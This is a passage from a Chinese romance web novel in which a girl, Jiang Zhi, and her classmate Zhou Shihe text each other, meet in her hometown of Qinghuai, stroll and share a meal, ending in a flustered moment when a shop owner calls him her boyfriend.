午饭一家吃得和和气气,姜至拍了照片发给周识鹤:【今天天气不错。】
【是啊。】周识鹤回复。
姜至看着这轻描淡写的两个字,撇了撇嘴,把手机放到一边。
林淑切了一些水果给她,交代她别吃太多,免得发撑,姜至情绪不怎么高涨地“哦”了一声,窝在沙发上看电视。
林淑和姜先舟一般饭后会睡一会儿,姜至在家闲着,早饭后会睡回笼觉,所以这会儿正精神,家里很安静,姜至却有些坐立不安。
她一会儿拿起手机看一眼,一会儿又把手机扔到一边,企图自欺欺人根本不在意。
直到林淑和姜先舟先后去上班,姜至看着逐渐流逝的时间,终于坐下不下了。
她主动给周识鹤发消息,还装模作样地先说些别的:【天气好了,我爸妈都比平时多睡了一会儿。】
【去上班了吗?】
周识鹤居然是秒回。
【对啊。】
姜至手指飞快。
【今天天气确实很好。】
周识鹤又发来一句。
姜至盯着这句话,又看了窗外的天,犹豫不决地在对话框敲出:【你今天忙吗……
看
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了一会儿,她又一个字一个字地删掉。
【对啊对啊……
她又一个字一个字地删掉。
【你老家离青槐远吗……
这也太明显了。
姜至抱着手机捂住脸,往沙发一倒。
下一秒,手机“嗡”地震动一下。
姜至掌心麻了一下,匆匆点开,只见周识鹤发来一句简短的:【我来青槐了。】
姜至呼吸一滞,心却狂跳起来。
她想问他是不是有事,可是手一滑,却把刚才打好的那句发了出去。
【你老家离青槐远吗?】
“啊……”姜至惊慌出声,想撤销发现没有撤销键,正愁补救办法的时候,周识鹤回一句:【还好。】
姜至至此才反应过来手滑的这一句也没什么大不了的,是她自己太心虚了而已。
她心有余悸地回一句:【哦哦哦。】
好一会儿,周识鹤都没有再发来新消息。
姜至将心神缓过来,去查看聊天记录,才发现自己最后那条消息发得实在太像结束语了。
她有些懊恼,却又不知该怎么找新话题,说不定周识鹤这会儿在忙呢,他老家离青槐又不是“不远”的距离,来一趟总归是要为点什么人什么事吧。
唉。
姜至在心里叹气,忽然又觉得今天的天气不好了,雾蒙蒙的,天空看上去又沉又低,压得人快要喘不过气来了。
姜至唉声叹气地在沙发上趴了一会儿,直到手机不知道什么时候又震动了一下,姜至以为是陶馨或者代湘智,懒散地拿起手机,下一秒,瞪大了眼睛。
是周识鹤发来的一张照片。
看上去好像是小吃街附近。
他说:【之前白天没来过,没想到这片白天也那么热闹。】
姜至似乎隐约意识到了什么,她问:【你一个人吗?】
【是的。】周识鹤回得很快。
姜至一下子从沙发上爬了起来,她拿起手机就往自己房间跑,打开衣柜看着一排夏装,拽出来一件裙子又放回去,拽出来一条短裤又放回去。
反复好几次,姜至还是选择最舒适的长裙和棉织小吊带,外加一件针织开衫。
她试衣服试得很沉浸,完全没有注意到被她丢在床上的手机震了又震。
直到姜至拿起一个白色的小包,准备跑出去换鞋,刚走出门发现自己手机没拿,又拐回去拿手机,穿鞋的时候迫不及待看一眼手机。
刚刚姜至太激动,忘记回周识鹤消息,以至于周识鹤过了三分钟又发来消息:
【你在家吗?】
【在忙?】
已经猜到周识鹤什么想法的姜至心都快从肚子里跳出来了,她知道周识鹤是个很少主动的人,刚刚那几分钟空白不知道他胡思乱想了什么,姜至生怕自己被误会,都没来得及给周识鹤回信息,直接拨了一通微信电话过去。
周识鹤接得很快,姜至急忙出声询问:“周识鹤,你走了吗?”
周识鹤说:“没有。”
姜至抿了抿唇,忽然有些哑巴了。
倒是周识鹤主动问一句:“你要出来吗?”
“我要啊,”姜至迅速回答,“我已经在换鞋啦。”
周识鹤似乎笑了,“好,不着急,我等你,姜至。”
姜至:“嗯!”
35.男朋友
姜至这么激动的情况下还没忘给林淑报备,只不过多藏了一个心眼,发微信的是这么说的:【妈,我跟同学出去玩,晚饭不要等我了。】
林淑估计默认同学是陶馨了,没多问,只说:【好,不要玩太晚。】
姜至连忙回个:【嗯嗯。】
出小区的时候就差蹦起来了。
她又问周识鹤:【你现在在哪儿?】
周识鹤说:【之前摆摊的地方。】
姜至这次回得很矜持:【好的。】
姜至家小区有一家便利店,和其他小超市不同,这家便利店是加盟连锁店,里面的东西很齐全,也很洋气,柜台还有一些关东煮,姜至精挑细选两瓶标着外文的饮料,抱着往周识鹤以前摆摊的地方走去。
现在逢暑假,人多,今天天气好,人更多了,路边各种摆摊的都比平日里出来的早。
姜至担心周识鹤等久了,打车过去的,好在路上不堵,十分钟的时间姜至就下车了。
车子只能停在路口,姜至小跑着往街里走,远远地就看见周识鹤在他以前摆摊的那个路口站着。
其实他穿得倒是没什么特别的,很简单的白T黑裤,可姜至就是一眼就看到他了。
没见到他的时候,姜至的心跳就没停下过,此刻见到了,她的心跳更是急迫得不受控制。
明明以前每天都见面的……
姜至跑了一路,此刻却放慢了脚步,她深深吸了口气,又慢慢呼出去,这才装作四平八稳地走向周识鹤。
她站在周识鹤身后,拍了拍他的肩膀。
周识鹤回头,姜至微微仰头看向他的脸。
“嗨。”她笑容灿烂。
……
周识鹤是临时决定来的青槐,他近日总是做梦,睡得不太/安稳,可能是刚毕业,还不太适应没有作业的假期,梦里的他总是在写作业。
一开始是在写作业。
后来不知道为什么,姜至总是在他梦里,一会儿咬着笔杆子看他,一会儿和他在回家的路上走着。
梦里的她倒是安静,一句话也不说,就看着他。
看得他每次早上醒来都有些烦躁。
【今天天气不错。】
周识鹤看到这句话时,忽然就来了一番冲动,等他缓过神来,他已经坐上了去青槐的客车。
他家距离青槐三十公里,开车四十分钟,客车差不多要一个小时。
到青槐车站后,周识鹤还要坐公交车到城中心,他在车上收到姜至发来的爸妈上班的信息,当下心跳有些快。
窗户大开着,风吹到他脸上,阴天的风有些刺刺的。
周识鹤很难形容这种感觉,毕竟他过往的生活里,从未有过惊喜。
他只能说,自己有些紧张。
他给姜至发消息,说今天天气确实不错。
简短八个字,周识鹤觉得有点装,他想再说些什么,但他与人类的社交能力,似乎仅限于此。
他说不出更多。
偏偏姜至今天话似乎也少,半晌都没接上他的话。
直到公交车停车,周识鹤下车,看了眼所剩无几的自由时间,只能再把话说明一些。
奈何姜至也是个笨的,居然半天没听出他的用意。
周识鹤只能认栽,发了一条自认非常明显的:我来青槐了。
周识鹤甚至怕吓到姜至,他从小到大没接触过异性,总觉得自己拿捏不好分寸,没想到收到一条无关紧要的询问距离的,周识鹤简直不知道该说什么好。
周识鹤从小就被邓丽教育遇事先冷静,情绪波动下做不出什么正确的选择。
他干脆放下手机,一个人瞎转了一会儿,路过一家奶茶店的时候,周识鹤想起他第一次见到徐非云的时候,姜至就是在这家奶茶店里买的饮品。
那天她离开时的眼神,他到今天仍然记忆深刻。
如果有人来问他到底是什么时候察觉姜至之于他,跟外人不同,周识鹤想,他会提到那个眼神,那个让他心生慌乱的眼神。
想到这些,周识鹤叹了口气,又主动给姜至发了消息。
这次姜至终于听懂他的话了。
-
此刻看到姜至全是笑的眼睛和面容,周识鹤庆幸自己今天难得的冲动。
他觉得自己应该也笑得挺明显的。
为防路人给他们贴上傻子的标签,周识鹤先一步有动作,他把手里提的奶茶递给姜至,看见姜至愣了愣,目光这才从姜至脸上移开,这一移,才看见姜至怀里也抱了两瓶水。
他也微微一愣。
在姜至的印象中,周识鹤是个不管做什么事都游刃有余,胜券在握的人,她很少会在他脸上看到“出乎意料”的表情,想必跟他很少跟女生接触有关。
姜至怕他心生挫败,连忙把奶茶接过来,“我刚刚还想着要不要买一杯这个呢,你也喜欢喝酸的吗?”
周识鹤明白姜至的用意,笑了笑说:“还好。”
他主动把姜至手里的两瓶水都接过来,“我来拿。”
姜至抿唇笑了笑,“嗯”一声,把话题岔开,“今天人还好哎,我小时候见过人更多的时候。”
周识鹤偏头看她,“什么时候?”
姜至边走边说:“好像是有一次这边有什么店庆活动吧,弄了一个很大的舞台,连摆了好几天,有跳舞的有唱歌的,还有表演杂技的,那时候感觉半个城的人都在这边,从早到晚都很热闹。”
周识鹤“嗯”一声:“我们老家每年逢会也这样,小时候都是老人去,这几年年轻人多了一些。”
姜至听代湘智说过逢会的事情,她感兴趣地看向周识鹤,这才发现周识鹤不知什么时候在看她,她心跳突突地加快,眼神闪烁地飘向别处。
被周识鹤看着的半张脸逐渐升温,耳朵也烫烫的,姜至感觉皮肤肯定红了,周识鹤这样盯着,很快就能看出端倪。
姜至有些羞耻地低头咬住奶茶吸管,含糊不清地问一句:“好玩吗?”
“还好,应该没有你小时候经历的好玩。”
周识鹤终于移开目光。
姜至心里松了口气。
其实青槐没什么好逛的,尤其对于姜至这种生在青槐长在青槐的人,可今天的青槐似乎有些不一样,各个建筑给她的感觉都比平日里亮眼一些,连地面都干净了一些。
而她和周识鹤说闲逛就真的只是闲逛,一家店铺也没有进去过,话题倒是聊了不少,姜至问他有没有去过首都
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,周识鹤笑着说自己哪里有那种机会,姜至懊恼了一下,觉得自己问了不该问的,可周识鹤却用略显讨教的口吻问她:“好玩吗?”
姜至说:“很累。”
周识鹤挑了挑眉,失意她继续说下去。
姜至被周识鹤这个动作撩拨得有些头昏脑胀,大脑空白了片刻才心不在焉地说:“首都太大了,打车好贵,而且堵车,大多数只能地铁,景区也好大,去一个点几乎可以逛一整天。”
周识鹤点点头,“那是很累。”
姜至想起什么,扭头问他:“你去过省城吗?”
周识鹤说:“去过一次。”
姜至:“去做什么啊?”
“考试,”周识鹤说,“初中的时候去考过一次赛考。”
“得第一名了吗?”姜至问。
周识鹤笑了下,“哪能次次都是第一。”
“为什么不能,你那么强。”姜至说得很理所当然。
周识鹤想问问姜至是不是对谁嘴都那么甜,但看她清澈的眼睛,估计是打从心眼里那么认为的。
他弯唇笑了笑,回答说:“那次不是。”
“那也没事啦,”姜至说,“人生总是第一名应该也有点无趣吧。”
周识鹤这次笑出了声。
姜至疑惑地看向他,他眼睛含笑,“姜至,你很适合当幼儿园老师。”
“啊,真的吗?”姜至很认真地问,“可是我妈给我报的是财会。”
周识鹤彻底笑出声,他实在没忍住,伸手揉了一把姜至的脑袋,姜至被他亲昵的动作弄得一愣,周识鹤似乎也有些愣住,随后先一步挪开目光,躲开了姜至的对视。
“去吃点东西吧。”他说。
姜至抿了抿唇,心里跟藏了一只小鹿一般,轻轻“嗯”了一声。
-
吃饭的地方是姜至推荐的,她知道周识鹤的情况,断不能带他去什么很昂贵的餐厅,学校附近的小吃店倒是很多,但是她心里藏了鬼,也许周识鹤也有些心虚,两个人不约而同去了离学校很远的店。
这是一家特色馄饨店,店里不仅有馄饨,还有一些甜水和炸物,两个人没点太多东西,结账的时候姜至跟周识鹤争抢。
“你已经给我买了奶茶,吃饭应该我来的。”她很认真地跟周识鹤说。
周识鹤也很较真,“你已经买了饮料。”
姜至:“你又没喝。”
周识鹤叹了口气,“我一会儿喝。”
姜至:“那也不行。”
柜台前的老板看不过这俩小孩争来争去,只好出来当和事佬,“小姑娘,出来约会要让男朋友掏钱。”
话落,姜至脸欻一下全红了。
她看了看老板,又看了看周识鹤,想反驳,却又张不开嘴,顺着说,又实在买那个脸,欲言又止好几秒,最终是周识鹤说了句:“他说得对,应该我来。”
姜至彻底没了争抢的力气,她感觉自己手脚都软了,磕磕绊绊地“哦”一声,逃跑一般先去座位上等着了。
待周识鹤买好单拿着号票走来时,姜至假装若无其事地看过去,蓦地发现周识鹤好像有些同手同脚了。
意识到什么以后,姜至低下头,扑哧一声笑了出来。